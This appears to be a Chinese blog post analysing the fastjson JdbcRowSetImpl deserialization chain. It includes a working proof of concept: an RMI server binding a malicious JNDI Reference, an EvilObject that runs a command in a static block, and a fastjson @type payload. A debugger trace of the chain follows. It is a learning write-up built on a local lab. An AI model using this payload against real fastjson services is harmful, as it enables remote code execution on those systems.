fastjson反序列化JdbcRowSetImpl链

fastjson反序列化JdbcRowSetImpl链

这里开始需要JNDIRMI的知识了Java之RMI和JNDI

从上面的文章知道了InitialContext.lookup(String name)是检索命名对象,先从InitialContext.lookup(String name)开始分析,之后再从JdbcRowSetImpl分析。

先放Poc的链接

RMI服务端

启动服务端

public class RMIServer {

    public static void main(String argv[]) {

        try {
            Registry  registry =  LocateRegistry.createRegistry(1099);

            //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
            //因此,本地测试的话,如果factory正确,factoryLocation随便填写
            Reference reference = new Reference("EvilObject",
                    "org.lain.poc.jndi.EvilObjectFactory",
                    "http://localhost:9999/" );


            //客户端通过evil查找,获取到EvilObject
            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");
            System.out.println("Waiting for connection......");

        } catch (Exception e) {
            System.out.println("RMIServer: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

客户端

启动客户端在lookup(String name)打断点

public class Client {

    public static void main(String[] args) throws NamingException {

        /*初始化*/
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");//localhost
        //env.put(Context.PROVIDER_URL, "rmi://xx.xx.xx.xx:1090");//remote

        /*JDK1.8xx trustURLCodebase默认是false*/
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        Context ctx = new InitialContext(env);

        System.out.println(ctx.lookup("evil"));
    }
}

InitialContext

首先进入的是lookup(String name)

//InitialContext.java
public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

顾名思义getURLOrDefaultInitCtx是拿到URLCtx,跟lookup(name)

//RegistryContext.java
public Object lookup(String var1) throws NamingException {
    return this.lookup((Name)(new CompositeName(var1)));
}

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0)); //继续跟进来
        } catch{...}

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

this.registry.lookup(var1.get(0))后发现进到了RegistryImpl_Stub,从类名的Stub可以知道这是大概是远程对象Client代理。

//RegistryImpl_Stub.java
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var17) {
            throw new MarshalException("error marshalling arguments", var17);
        }

        this.ref.invoke(var2);

        Remote var22;
        try {
            ObjectInput var4 = var2.getInputStream();
            var22 = (Remote)var4.readObject();
        } catch (IOException var14) {
            throw new UnmarshalException("error unmarshalling return", var14);
        } catch (ClassNotFoundException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } finally {
            this.ref.done(var2);
        }

        return var22;
    } catch (RuntimeException var18) {
        throw var18;
    } catch (RemoteException var19) {
        throw var19;
    } catch (NotBoundException var20) {
        throw var20;
    } catch (Exception var21) {
        throw new UnexpectedException("undeclared checked exception", var21);
    }
}

得到了var2是一个ReferenceWrapper_Stub,跟decodeObject()方法

//RegistryContext.java
public Object lookup(Name var1) throws NamingException {
   if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch{...}

        return this.decodeObject(var2, var1.getPrefix(1));
    }
    
    return this.decodeObject(var2, var1.getPrefix(1)); //跟这个
   
}

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        Reference var8 = null;
        if (var3 instanceof Reference) {
            var8 = (Reference)var3;
        } else if (var3 instanceof Referenceable) {
            var8 = ((Referenceable)((Referenceable)var3)).getReference();
        }

        if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
            throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        } else {
            return NamingManager.getObjectInstance(var3, var2, this, this.environment);
        }
    } catch (NamingException var5){...}
}

var3是注册在RegistryEvilObject,跟getObjectInstance()方法,顾名思义get实例。

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception{
    ObjectFactory factory;
    
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {...}
    }
}

getObjectFactoryFromReference(ref, f)得到Factory对象然后factory.getObjectInstance(ref, name, nameCtx,environment)因为EvilObjectFactory实现了ObjectFactory接口且实现了getObjectInstance()方法

//EvilObjectFactory.java
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {

    EvilObject evilObject = new EvilObject();

    return evilObject;
}

new的时候根据加载机制先加载static代码块,也就执行了恶意代码

//EvilObject.java
public class EvilObject {

    public EvilObject(){
        System.out.println("Hi!");
    }
    /**
     * 简单的命令执行
     */
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
            //ignore
        }
    }
}

到此从InitialContext.lookup()开始的调用链结束了,而下面才要开始分析JdbcRowSetImpl如何调用InitialContext.lookup()的。

JdbcRowSetImpl

public class App 
{
    public static void main(String[] args )throws Exception
    {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        JdbcRowSetImplPoC.testJdbcRowSetImpl("rmi://localhost:1099/evil");

    }
}

public class JdbcRowSetImplPoC {

    public static void testJdbcRowSetImpl(String dataSourceName){

        ParserConfig config = new ParserConfig();

        config.setAutoTypeSupport(true);

        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
            + "\"dataSourceName\":\"" + dataSourceName + "\","
            + "\"autoCommit\":\"false\"}";


        System.out.println(payload);

        try{
            JSONObject.parse(payload,config);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

需要把trustURLCodebase属性调为True否则不能引用远程对象,会报错。

还有因为最开始看的文章说autoCommit设置为True会调用setAutoCommit()方法,搞的我以为必须要True,实际上只要是Boolean类型即可。

同样的启动RMI服务端,然后在JSONObject.parse(payload,config)打上断点。

//JSON.java
public static Object parse(String text) {
    return parse(text, DEFAULT_PARSER_FEATURE);
}

public static Object parse(String text, ParserConfig config) {
    return parse(text, config, DEFAULT_PARSER_FEATURE);
}


public static Object parse(String text, ParserConfig config, int features) {
    if (text == null) {
        return null;
    }

    DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
    Object value = parser.parse();

    parser.handleResovleTask(value);

    parser.close();

    return value;
}

DefaultJSONParser()方法得到一个DefaultJSONParser对象,跟入parser.parse()

//DefaultJSONParser.java
public Object parse() {
    return parse(null);
}

public Object parse(Object fieldName) {
    final JSONLexer lexer = this.lexer;

    case LBRACE:
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    return parseObject(object, fieldName);
}

这个parseObject()方法应该会觉得眼熟吧,如果之前了解过TemplatesImpl利用链的话。

//DefaultJSONParser.java
public final Object parseObject(final Map object, Object fieldName){
    //类型检查
    clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
    
    ObjectDeserializer deserializer = config.getDeserializer(clazz);
    return deserializer.deserialze(this, clazz, fieldName);
}

checkAutoType()方法检查传入的类型是否安全,如果通过就会返回传入类型Class

config.getDeserializer(clazz)返回的类型比较怪,因为用到ASM技术,没办法直接查看源码,需要用IDEARun to Cursor或者快捷键Alt + F9,强行从光标处调试代码。跟deserialze()

//JavaBeanDeserializer.java
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    return deserialze(parser, type, fieldName, 0);
}

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
    return deserialze(parser, type, fieldName, null, features, null);
}

protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features, int[] setFlags){
    if (type == JSON.class || type == JSONObject.class) {/*光标放这然后Alt+F9*/}
    
    String typeKey = beanInfo.typeKey;
    /*随后的代码是调用各个字段的FieldDeserializers*/
    
    //一直F8到这
    fieldDeser.setValue(object, fieldValue);
    
}

这时的fieldDeser是一个专门解析autoCommit属性的FieldDeserializer

//FieldDeserializer.java
public void setValue(Object object, Object value){
    Method method = fieldInfo.method;//拿到setAutoCommit(boolean)的Method
    if (method != null){
        if(fieldInfo.getOnly){}
        else{
            method.invoke(object, value);
        }
    }
}

invoke我们的setAutoCommit(boolean)!尽头近在咫尺😋

但是不懂为啥,我的IDEA直接跳了一大段,建议从调用栈找一下JdbcRowSetImpl.setAutoCommit(boolean),或者直接去JdbcRowSetImpl.setAutoCommit(boolean)点一下 Run to Cursor

//JdbcRowSetImpl.java
public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect(); //跟这个
        this.conn.setAutoCommit(var1);
    }
}

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
        } catch (NamingException var3) {}
    } else {}
}

看到在try代码块里的这2行代码不就是本篇最开始分析的调用链吗?只是lookup()里的是this.getDataSourceName()而不是我们硬编码的**“rmi://localhost:1099/evil”**。执行到lookup()方法,那么JdbcRowSetImpl利用链也就结束了。

不同版本绕过的payload参考文章:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值